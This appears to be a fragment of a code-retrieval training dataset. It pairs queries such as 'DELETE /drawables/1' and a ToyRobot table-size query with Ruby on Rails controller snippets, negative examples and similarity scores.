"def update\n respond_to do |format|\n if @client_accessory.update(client_accessory_params)\n format.html { redirect_to @client_accessory, notice: 'Client accessory was successfully updated.' }\n format.json { render :show, status: :ok, location: @client_accessory }\n else\n format.html { render :edit }\n format.json { render json: @client_accessory.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, Concepto\n if params[:concepto][:tipo_ids]\n params[:concepto][:tipo_ids] = params[:concepto][:tipo_ids].map { |k, _v| k }\n else\n params[:concepto][:tipo_ids] = []\n end\n\n respond_to do |format|\n if @concepto.update(concepto_params)\n\n\n format.html { redirect_to @concepto, notice: '<i class=\"fa fa-check-square fa-lg\"></i> Los datos del concepto fueron actualizados exitosamente.' }\n format.json { render :show, status: :ok, location: @concepto }\n else\n format.html { render :edit } if params[:concepto][:tipo_ids]\n format.json { render json: @concepto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @circle = Circle.find(params[:id])\n\n respond_to do |format|\n if @circle.update_attributes(params[:circle])\n format.html { redirect_to @circle, notice: 'Circle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @circle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @circle = Circle.find(params[:id])\n\n respond_to do |format|\n if @circle.update_attributes(params[:circle])\n format.html { redirect_to @circle, notice: 'Circle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @circle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @food_expenditure.update(food_expenditure_params)\n @food_expenditure.update_attributes(:edit_able=>false)\n format.html { redirect_to @food_expenditure, notice: 'FoodExpenditure was successfully updated.' }\n format.json { render :show, status: :ok, location: @food_expenditure }\n else\n format.html { render :edit }\n format.json { render json: @food_expenditure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @flavor = Flavor.find(params[:id])\n\n respond_to do |format|\n if @flavor.update_attributes(params[:flavor])\n format.html { redirect_to @flavor, :notice => 'Flavor was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @flavor.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.5866623",
"0.58017206",
"0.5777124",
"0.5737231",
"0.5647263",
"0.55356985",
"0.5415297",
"0.5352123",
"0.5254152",
"0.52277166",
"0.5183401",
"0.5179659",
"0.5168513",
"0.5163592",
"0.5102437",
"0.5083342",
"0.50663334",
"0.5063533",
"0.5050877",
"0.5048667",
"0.50395226",
"0.5035989",
"0.50337434",
"0.5022762",
"0.50151455",
"0.50009227",
"0.49976987",
"0.49808532",
"0.49669442",
"0.49599656",
"0.4938643",
"0.49351728",
"0.49057928",
"0.48933607",
"0.48837623",
"0.4878074",
"0.48761216",
"0.48702782",
"0.48629847",
"0.48614323",
"0.48603395",
"0.48579136",
"0.48494726",
"0.48465118",
"0.4838029",
"0.4827305",
"0.4822433",
"0.48207262",
"0.48207262",
"0.48207262",
"0.48078054",
"0.4800903",
"0.47968423",
"0.47954687",
"0.47934654",
"0.47816044",
"0.4777013",
"0.477679",
"0.47754768",
"0.47743785",
"0.47738892",
"0.47716427",
"0.47673225",
"0.4752366",
"0.47518373",
"0.4750684",
"0.4744694",
"0.47430295",
"0.47420743",
"0.4740783",
"0.4738289",
"0.4731655",
"0.47289255",
"0.47272676",
"0.4726624",
"0.47239846",
"0.47233003",
"0.4717858",
"0.47168595",
"0.47167164",
"0.47105035",
"0.47077698",
"0.46986064",
"0.46931428",
"0.46930212",
"0.46910825",
"0.4690502",
"0.46896464",
"0.46896464",
"0.468907",
"0.4684737",
"0.4683712",
"0.46797",
"0.4679533",
"0.46756056",
"0.46742433",
"0.4673484",
"0.4673484",
"0.4673175",
"0.46729293"
] |
0.64346766
|
0
|
DELETE /drawables/1 DELETE /drawables/1.json
|
def destroy
@drawable = Drawable.find(params[:id])
@drawable.destroy
respond_to do |format|
format.html { redirect_to drawables_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @draw = Draw.find(params[:id])\n @draw.destroy\n\n respond_to do |format|\n format.html { redirect_to draws_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @draw.destroy\n respond_to do |format|\n format.html { redirect_to draws_url, notice: 'Draw was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @drawing = Drawing.find(params[:id])\n @drawing.destroy\n\n head :no_content\n end",
"def destroy\n @drawing.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Drawing was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @internaldraw = Internaldraw.find(params[:id])\n @internaldraw.destroy\n\n respond_to do |format|\n format.html { redirect_to(internaldraws_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @draw = current_user.draws.find(params[:id])\n prevent_if_drawn\n \n @draw.destroy\n\n respond_to do |format|\n format.html { redirect_to draws_url }\n format.json { head :ok }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @shape_type = ShapeType.find(params[:id])\n @shape_type.destroy\n\n\t\tmsg = I18n.t('app.msgs.success_deleted', :obj => I18n.t('app.common.shape_type'))\n\t\tsend_status_update(I18n.t('app.msgs.cache_cleared', :action => msg))\n respond_to do |format|\n format.html { redirect_to admin_shape_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n id = @api_v1_canvas.id\n @api_v1_canvas.destroy\n respond_to do |format|\n format.html do\n redirect_to api_v1_canvases_url, notice: 'Canvas was successfully destroyed.'\n end\n\n format.json do\n msg = { id: id }\n broadcast(\"deleted\", msg)\n head :no_content\n end\n end\n end",
"def destroy\n @pix = Pix.find(params[:id])\n @pix.destroy\n\n respond_to do |format|\n format.html { redirect_to pixes_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: UserBoards.delete(params[\"id\"])\n end",
"def destroy\n \n respond_to do |format|\n RestClient.delete 'localhost:3001/colores/'+@color.id.to_s, {:Authorization => 'admin irizREhyoG6Ejwr4AcjsQME9'}\n format.html { redirect_to colors_url, notice: \"Color was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stroke.destroy\n respond_to do |format|\n format.html { redirect_to strokes_url, notice: 'Stroke was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def destroy\n @structure_drawing.destroy\n respond_to do |format|\n format.html { redirect_to project_sub_project_structure_drawings_path(@project, @sub_project), notice: 'Structure drawing was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @icon.destroy\n render json: @icon\n end",
"def destroy\n @crossbowtype.destroy\n respond_to do |format|\n format.html { redirect_to crossbowtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to budget_path(@line.budget) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scribble = Scribble.find(params[:id])\n @scribble.destroy\n\n respond_to do |format|\n format.html { redirect_to scribbles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scribble = Scribble.find(params[:id])\n @scribble.destroy\n\n respond_to do |format|\n format.html { redirect_to scribbles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scribble = Scribble.find(params[:id])\n @scribble.destroy\n\n respond_to do |format|\n format.html { redirect_to scribbles_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @fabric = Fabric.find(params[:id])\n @fabric.destroy\n\n respond_to do |format|\n format.html { redirect_to fabrics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @thickness.destroy\n respond_to do |format|\n format.html { redirect_to thicknesses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @action_graphic = ActionGraphic.find(params[:id])\n @action_graphic.destroy\n\n respond_to do |format|\n format.html { redirect_to(action_graphics_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @batting_line = BattingLine.find(params[:id])\n @batting_line.destroy\n\n respond_to do |format|\n format.html { redirect_to batting_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @graphic = Graphic.find(params[:id])\n @graphic.destroy\n\n respond_to do |format|\n format.html { redirect_to(graphics_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @externaldraw = Externaldraw.find(params[:id])\n @externaldraw.destroy\n\n respond_to do |format|\n format.html { redirect_to(externaldraws_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @shade.destroy\n end",
"def destroy\n @brush_holder = BrushHolder.find(params[:id])\n @brush_holder.destroy\n\n respond_to do |format|\n format.html { redirect_to(brush_holders_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n render :json => @fiestas.delete_at(params[:id].to_i)\n end",
"def destroy\n @budget_line.destroy\n respond_to do |format|\n format.html { redirect_to budget_lines_url, notice: 'Budget line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n item = FormImage.last\n id = item[:id]\n item.destroy\n render json: {id: id}\n end",
"def destroy\n # @attribute_layer = @palette.attribute_layers.find(attribute_layer_params[:id])\n @attribute_layer.destroy\n respond_to do |format|\n format.html { redirect_to palette_attribute_layers_url(@palette) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dish_style.destroy\n respond_to do |format|\n format.html { redirect_to dish_styles_url }\n format.json { head :no_content }\n end\n end",
"def deleteFlatpack( flatpack_id)\n params = Hash.new\n params['flatpack_id'] = flatpack_id\n return doCurl(\"delete\",\"/flatpack\",params)\n end",
"def destroy\n @drawer.destroy\n\n respond_to do |wants|\n wants.html { redirect_to(drawers_url) }\n wants.xml { head :ok }\n end\n end",
"def destroy\n @reflection = Reflection.find(params[:id])\n @reflection.destroy\n\n respond_to do |format|\n format.html { redirect_to reflections_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @keystroke = Keystroke.find(params[:id])\n @keystroke.destroy\n\n respond_to do |format|\n format.html { redirect_to keystrokes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crossbow.destroy\n respond_to do |format|\n format.html { redirect_to crossbows_url, notice: 'Crossbow was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(id)\n request(:delete, \"/recipes/#{id}.json\")\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def destroy\n @lucky_draw.destroy\n respond_to do |format|\n format.html { redirect_to lucky_draws_url, notice: 'Lucky draw was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @yh_graphic.destroy\n respond_to do |format|\n format.html { redirect_to yh_graphics_url, notice: '그래픽 삭제 되었습니다.' }\n format.json { head :no_content }\n end\n end",
"def delete\n \n end",
"def destroy\n @consumable.destroy\n respond_to do |format|\n format.html { redirect_to consumables_url, notice: 'Consumable was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @graphic.destroy\n end",
"def destroy\n @apologetic.destroy\n respond_to do |format|\n format.html { redirect_to apologetics_url }\n format.json { head :no_content }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @infographic = Infographic.find(params[:id])\n @infographic.destroy\n\n respond_to do |format|\n format.html { redirect_to infographics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @consumable.destroy\n respond_to do |format|\n format.html { redirect_to consumables_url, notice: \"Consumable was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @green = Green.find(params[:id])\n @green.destroy\n\n respond_to do |format|\n format.html { redirect_to scaffold_greens_url }\n format.json { head :ok }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @food.destroy\n @food.image.destroy\n @j = Joint.where(food_id: @food.id)\n if @j == true\n @j.destroy_all\n end\n respond_to do |format|\n format.html { redirect_to foods_url, notice: 'Food was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @sprite = current_user.sprites.find(params[:id])\n @sprite.destroy\n\n require 'fileutils'\n file_path = \"#{Rails.root}/public/generated/#{@sprite.id}.png\"\n if File.exist?(file_path)\n FileUtils.rm(file_path)\n end\n\n respond_to do |format|\n format.html { redirect_to sprites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @attribute_layer = AttributeLayer.find(params[:id])\n @attribute_layer.destroy\n\n respond_to do |format|\n format.html { redirect_to attribute_layers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cow_shade.destroy\n end",
"def destroy\n @dragon = Dragon.find(params[:id])\n @dragon.destroy\n\n respond_to do |format|\n format.html { redirect_to dragons_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @svgpost = Svgpost.find(params[:id])\n @svgpost.destroy\n\n respond_to do |format|\n format.html { redirect_to svgposts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_accessory.destroy\n respond_to do |format|\n format.html { redirect_to client_accessories_url, notice: 'Client accessory was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @diagram = Diagram.find(params[:id])\n @diagram.destroy\n\n respond_to do |format|\n format.html { redirect_to(diagrams_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @line_item1 = LineItem1.find(params[:id])\n @line_item1.destroy\n\n respond_to do |format|\n format.html { redirect_to line_item1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n compute.delete_flavor(params[:id])\n \n\n respond_to do |format|\n format.html { redirect_to flavors_path }\n format.json { head :ok }\n end\n end",
"def destroy\n @dash_type = DashType.find(params[:id])\n @dash_type.destroy\n\n respond_to do |format|\n format.html { redirect_to dash_types_url }\n format.json { head :no_content }\n end\n end",
"def delete\n\n end",
"def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end",
"def destroy\n @avatar.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @circle.destroy\n head :no_content \n end",
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def delete(*rest) end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def destroy\n @fantasy_draft_style.destroy\n respond_to do |format|\n format.html { redirect_to fantasy_draft_styles_url, notice: 'Fantasy draft style was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @texture = Texture.find(params[:id])\n @texture.destroy\n\n respond_to do |format|\n format.html { redirect_to textures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wireframe = Wireframe.find(params[:id])\n if (@wireframe.is_active? or @wireframe.initiatives.map{|i| i.is_active?}.include?(true) )\n respond_to do |format|\n flash[:alert] = \"Cannot delete an active screenshot. Please make sure it is inactive and not connected to any active tests.\"\n format.html { redirect_to( wireframes_path ) }\n format.xml { head :ok }\n end\n else\n @wireframe.destroy\n respond_to do |format|\n format.html { redirect_to(wireframes_url) }\n format.xml { head :ok }\n end\n end\n end",
"def destroy\n @bow.destroy\n respond_to do |format|\n format.html { redirect_to bows_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @accessory = Accessory.find(params[:id])\n @accessory.destroy\n\n head :no_content\n end",
"def DeleteView id\n \n APICall(path: \"views/#{id}.json\",method: 'DELETE')\n \n end",
"def destroy\n @stable = Stable.find(params[:id])\n @stable.destroy\n\n respond_to do |format|\n format.html { redirect_to stables_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @manage_glow.destroy\n respond_to do |format|\n format.html { redirect_to manage_glows_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n bubble_tea_id = params[:id]\n drink = BubbleTea.find(bubble_tea_id)\n drink.destroy\n render plain: \"Deleted #{drink.flavor} - #{drink.size} from database (id: #{bubble_tea_id})\"\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @through_reference = ThroughReference.find(params[:id])\n @through_reference.destroy\n\n respond_to do |format|\n format.html { redirect_to through_references_url }\n format.json { head :no_content }\n end\n end",
"def delete\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @layer = Layer.find(params[:id])\n @layer.destroy\n\n respond_to do |format|\n format.html { redirect_to layers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n if params[:id] =~ /\\d+/\n @budget = Budget.find(params[:id])\n ActiveRecord::Base.connection.execute(\"delete from budget_products where budget_id = #{params[:id]}\")\n @budget.destroy\n end\n \n respond_to do |format|\n format.html { redirect_to budgets_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.6709174",
"0.6492926",
"0.6446323",
"0.61876327",
"0.60467523",
"0.6036098",
"0.59882545",
"0.59378135",
"0.5921157",
"0.5892541",
"0.58924985",
"0.58770925",
"0.58700407",
"0.5868044",
"0.58358884",
"0.5828177",
"0.5805022",
"0.5800439",
"0.5795041",
"0.57838845",
"0.57838845",
"0.57838845",
"0.57724315",
"0.5766775",
"0.57646126",
"0.57476467",
"0.57342976",
"0.57313925",
"0.57106096",
"0.5707199",
"0.5706824",
"0.5679323",
"0.5675931",
"0.5670384",
"0.5669847",
"0.56683815",
"0.5666405",
"0.5659336",
"0.5659329",
"0.5643427",
"0.5641345",
"0.56407726",
"0.56394374",
"0.56383884",
"0.5636428",
"0.5632886",
"0.56289136",
"0.5617962",
"0.56173617",
"0.5615569",
"0.5614498",
"0.5607728",
"0.5606859",
"0.5601819",
"0.5600857",
"0.5600857",
"0.5600857",
"0.5600857",
"0.5600585",
"0.56000084",
"0.55994433",
"0.55970097",
"0.55969226",
"0.55926305",
"0.5591566",
"0.55898887",
"0.55881065",
"0.55845875",
"0.55756986",
"0.556359",
"0.55581033",
"0.5555326",
"0.5553938",
"0.55520713",
"0.554766",
"0.55346173",
"0.553247",
"0.5526073",
"0.5526073",
"0.5526073",
"0.5526073",
"0.5526073",
"0.5526073",
"0.5526073",
"0.5524843",
"0.5524402",
"0.5519751",
"0.55193716",
"0.551902",
"0.5512554",
"0.5511899",
"0.55114484",
"0.5509271",
"0.55034155",
"0.55034155",
"0.55028814",
"0.55024743",
"0.5501641",
"0.55000323",
"0.54977655"
] |
0.76286787
|
0
|
Returns a new instance of ToyRobot and defines the table size
|
def initialize(table = Table.new([4, 4]))
@table = table
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize(width, height)\n @table = Table.new(width, height)\n @view = RobotView.new\n @robot = Robot.new(@table)\n end",
"def initialize(height = AppConfig.default_height, width = AppConfig.default_width)\n @table = Table.new height, width\n end",
"def initialize\n\t\t@table = Table.new\n\t\t@robot = Robot.new(@table)\n\t\t@height = @table.instance_variable_get(:@height)\n\t\t@width = @table.instance_variable_get(:@width)\n\t\t@min = @table.instance_variable_get(:@min)\n\t\t@x = @robot.instance_variable_get(:@x)\n\t\t@y = @robot.instance_variable_get(:@y)\n\t\t@robot_direction = @robot.instance_variable_get(:@robot_direction)\n\tend",
"def initialize(table_size_x, table_size_y)\n self.table_size_x = table_size_x.to_i - 1 || 4\n self.table_size_y = table_size_y.to_i - 1 || 4\n end",
"def set_table_size\n @table_x = @table_reversed[0].size\n @table_y = @table_reversed.size\n end",
"def init_table\n\t$table = Array.new($height) { Array.new($width, '.')}\nend",
"def initialize(size=DEFAULT_TABLE_SIZE)\n @table = HashTable.new(size)\n end",
"def initialize(size = DEFAULT_HASHTABLE_SIZE)\n @table = Array.new(size)\n @count = EMPTY_COUNT\n end",
"def initialize(size)\n @size = get_good_size(size)\n @table = Array.new @size\n @population = 0\n @used_spaces = 0\n end",
"def initialize(name='Toy Robot Simulator', size=5)\n @name = name\n @playground = ToyRobot::Playground.new(size)\n @robot = ToyRobot::Robot.new\n end",
"def initialize\n @game = Game.new\n rows = []\n rows << [@game.board.A1.params, @game.board.A2.params, @game.board.A3.params]\n rows << :separator\n rows << [@game.board.B1.params, @game.board.B2.params, @game.board.B3.params]\n rows << :separator\n rows << [@game.board.C1.params, @game.board.C2.params, @game.board.C3.params]\n table = Terminal::Table.new :rows => rows\n end",
"def build_table(response)\n table = Terminal::Table.new do |t|\n t.title = \"Food trucks\"\n t.headings = ['Name', 'Location']\n t.rows = fill_table_items(response)\n t.style = { :border_top => true, :border_bottom => true}\n end\n return table\n\n end",
"def initialize (num_legs) #You can put specific table material in initialize\n\t\t@tabletop = []\n\t\t@num_legs = num_legs\n\tend",
"def make_table(options={})\n get_table(options).rows\n end",
"def initialize(table=Table.new(5,5))\n @table = table # again, no accessor, we dont know if we need to expose this yet.\n end",
"def initialize(args={})\n @size = args[:size] || 10\n @seed = args[:seed] || 20\n raise ArgumentError, \"seed is larger than board size (size**2)\" if size**2 < seed\n @born = 0\n @died = 0\n @prospered = 0\n\n @board = Table.new(rows: size, cols: size, obj: Cell)\n #seed_board\n end",
"def make_large_typhoon\n\t\tsz = 3\n\t\tsX = rand(46-10) + 10\n\t\tsY = rand(14-1) + 1\n\t\tdX = rand(11-2) + 2\n\t\tdY = rand(4-1) + 1\n\t\ttyphoon1 = Typhoon.new(sz, sX, sY, dX, dY, @currentTime)\n\t\taddObject(typhoon1)\n\tend",
"def initialize\n # Set the initial number of slots to 5\n @slots = 5 \n # Initialize all of the slots with nil values.\n fill_table @slots \n # Set up auxiliary functions, h1 and h2\n @h1 = -> (k) { k % @slots }\n @h2 = -> (k) { 1 + (k % (@slots - 1)) }\n # Set size (occupied positions) to 0.\n self.size = 0\n # Set the number of rebuilds to zero. (If the table grows past certain threshold we have to rebuild it.)\n @rebuilds = 0\nend",
"def initialize\n\t\t@height = 5\n\tend",
"def make_large_typhoon\n sz = 3\n sX = rand(66-10) + 10\n sY = rand(24-1) + 1\n dX = rand(11-2) + 2\n dY = rand(4-1) + 1\n typhoon1 = Typhoon.new(sz, sX, sY, dX, dY, @currentTime)\n addObject(typhoon1)\n end",
"def table_size\n @table.size\n end",
"def table_size\n @table.size\n end",
"def table_size=(size)\n @cc.table_size = size\n end",
"def table_size=(size)\n @cc.table_size = size\n end",
"def initialize(width: 100, height: 100, size: 5)\n @width = width.clamp(0, 1000) # width of cell grid\n @height = height.clamp(0, 1000) # height of cell grid\n @size = size.clamp(3, 100) # size of each cell on viewport\n\n # calculate game viewport size\n @viewport_width = width * size\n @viewport_height = height * size\n\n # setup game environment\n @environment = Environment.new(\n width: width,\n height: height\n )\n\n # populate environment with random\n # population of live cells\n @environment.seed_random\n\n # setup tick\n @tick = Tick.new(@environment)\n\n # setup gosu window config\n super @viewport_width, @viewport_height\n self.caption = \"Game of Life\"\n end",
"def initialize\n @colspan = 1\n @rowspan = 1\n end",
"def initialize(num_legs)\n\t\t@tabletop = []\n @num_legs = num_legs\n \tend",
"def create_display_table(title, headings, rows)\n Terminal::Table.new :title=> title, :headings => headings, :rows => rows\n end",
"def initialize\n @table = Array.new(9, nil)\n @winner = nil\n end",
"def initialize \n @rows = 8\n @columns = 8\n @grid = create_board\n end",
"def test_new_with_original_constructor\n # Initialize JTable and model\n nhk_word_table = JTable.new\n nhk_word_table.model = DefaultTableModel.new(4, 3)\n\n # assert row count\n assert_equal(4, nhk_word_table.model.row_count)\n\n # assert column count\n assert_equal(3, nhk_word_table.model.column_count)\n\n # assert cells\n for i in 1..nhk_word_table.model.row_count\n for j in 1..nhk_word_table.model.column_count\n assert_nil(nhk_word_table.model.get_value_at((i-1), (j-1)))\n end\n end\n end",
"def size\n @table.size\n end",
"def size\n @table.size\n end",
"def size\n table.size\n end",
"def build_table(content)\n table content do\n row(0).font_style = :bold\n self.header = true\n self.row_colors = %w(DDDDDD FFFFFF)\n self.column_widths = [40, 300, 60, 60, 70]\n self.cell_style = {\n border_width: 0,\n size: 10\n }\n end\n end",
"def table_size=(size)\n @limit = size\n size_check(nil)\n end",
"def initialize\n @get_table = TABLE\n end",
"def new\n @robot = Robot.new\n end",
"def initialize(t_w, t_h, t_x_count, t_y_count, scr_w = 800, scr_h = 600, isometric = false, limit_cam = true)\n @tile_size = Vector.new t_w, t_h\n @size = Vector.new t_x_count, t_y_count\n @cam = Rectangle.new 0, 0, scr_w, scr_h\n @limit_cam = limit_cam\n @isometric = isometric\n if isometric\n initialize_isometric\n elsif limit_cam\n @max_x = t_x_count * t_w - scr_w\n @max_y = t_y_count * t_h - scr_h\n end\n set_camera 0, 0\n end",
"def initialize(width, height)\n @width = width\n @height = height\n @rows = [0] * height\n end",
"def set_table(params = {})\n @table = Table.new(params)\n @table.palette = @palette\n end",
"def screen_settings\n # TODO these need to become part of our new full_indexer class, not hang about separately.\n $glines=%x(tput lines).to_i\n $gcols=%x(tput cols).to_i\n # this depends now on textpad size not screen size TODO FIXME\n $grows = $glines - 1\n $pagesize = 60\n #$gviscols = 3\n $pagesize = $grows * $gviscols\nend",
"def set_up_table_view\n self.table_view\n _table_view = self.create_table_view_from_data(self.table_data)\n adjusted_frame = self.view.bounds\n adjusted_frame.size.width = app_delegate.panels.leftVisibleWidth\n _table_view.frame = adjusted_frame\n self.view = UIView.new\n self.view.addSubview(_table_view)\n end",
"def init_tb_vals\n @tb_player_info = {} # info used when resetting player movement\n @tb_unit_range = Unit_Range.new # has shortest path for curr unit\n @party_index_tb = 1\n @atk_hl_disp = 0 # counter for the skill that is displayed on A press\n @wait_on_ai = false\n @event_waiting_for = 0\n @tb_ev_respond_id = 0\n @safety_tb = 0\n end",
"def table(items, opts={}, &block)\n items = items.map(&block) if block_given?\n opts[:width] ||= default_max_width\n Table.new(items, opts)\n end",
"def table\n\t@table ||=Table.new\nend",
"def table config={}, &block\n #def tabular_widget config={}, &block\n require 'canis/core/widgets/table'\n events = [:PROPERTY_CHANGE, :LEAVE, :ENTER, :CHANGE, :ENTER_ROW, :PRESS ]\n block_event = nil\n # if no width given, expand to stack width\n #config.delete :title\n useform = nil\n\n w = Table.new useform, config # NO BLOCK GIVEN\n w.width ||= :expand \n w.height ||= :expand # TODO This has to come before other in stack next one will overwrite.\n _position(w)\n if block_given?\n #@current_object << w\n yield_or_eval &block\n #@current_object.pop\n end\n return w\n end",
"def current_table_size\n @table.inject(0) { |r, (k, v)| r + k.bytesize + v.bytesize + 32 }\n end",
"def initialize(size=10, max_height=5)\n if !size.positive?\n raise ArgumentError, \"Board size must be greater than zero!\"\n else\n @size = size\n @max_height = max_height\n @min_word_length = 2\n @grid = Hash.new do |h, (row, col)|\n if row < 0 || col < 0 || num_rows <= row || num_columns <= col\n raise IllegalMove, \"#{row}, #{col} is out of bounds!\"\n else\n h[[row, col]] = [] # Initialize with empty array\n end\n end\n end\n end",
"def initialize(target_width = DEFAULT_TARGET_WIDTH)\n if target_width.is_a?(String)\n @columns, @rows = target_width.split('x').map(&:to_f)\n else\n @columns = target_width.to_f\n @rows = target_width.to_f * 0.75\n end\n @columns.freeze\n @rows.freeze\n\n initialize_graph_scale\n initialize_attributes\n initialize_store\n\n self.theme = Themes::KEYNOTE\n end",
"def generate_table_def_table()\r\n table_def_name = \"table_definitions\"\r\n\r\n # If the table doesn't already exist, create it\r\n puts \"Creating table definition table (#{table_def_name}) if it doesn't exist.\" if @enable_debug_logging\r\n db_column_size_limits = @db_column_size_limits\r\n @db.transaction(:retry_on => [Sequel::SerializationFailure]) do\r\n @db.create_table?(table_def_name.to_sym) do\r\n String :tableName, :primary_key => true, :size => db_column_size_limits[:tableName]\r\n String :kappSlug, :size => db_column_size_limits[:kappSlug]\r\n String :formSlug, :size => db_column_size_limits[:formSlug]\r\n String :formName, :size => db_column_size_limits[:formName]\r\n end\r\n end\r\n end",
"def initialize\n @table = {}\n end",
"def initialize(size)\n @size = size\n @rows = Array.new(size) { Array.new(size) }\n end",
"def terminal_table\n rows = @moods.map do |mood|\n mood.to_arr\n end\n table = Terminal::Table.new({ headings: HEADINGS, rows: rows })\n puts table\n end",
"def initialize(table)\n @table = table\n end",
"def initialize \n\t\tsuper(SIZE)\n\tend",
"def initialize(table)\n @table = table\n freeze\n end",
"def _table; @table end",
"def table(rows = [],options = {}, &block)\n Wizport::Rtf::Table.new(self, rows, options, &block)\n end",
"def table(rows, headings = [])\r\n\r\n new_table = Terminal::Table.new\r\n \r\n unless headings == []\r\n new_table.headings = headings\r\n end\r\n\r\n new_table.rows = rows\r\n\r\n new_table.style = { :width => 150,\r\n :border_x => '='.colorize(:light_blue), \r\n :border_y => '|'.colorize(:light_blue),\r\n :border_i => ':'.colorize(:light_blue)}\r\n for column_no in 0...new_table.columns.length\r\n new_table.align_column(column_no, :center)\r\n end\r\n \r\n puts empty_line\r\n puts new_table\r\n puts empty_line\r\n prompt('Press \"Enter\" key to continue')\r\n end",
"def _window_size\n unless @window_size\n rows = `tput lines`\n cols = `tput cols`\n @window_size = [cols.chomp.to_i, rows.chomp.to_i]\n end\n @window_size\n end",
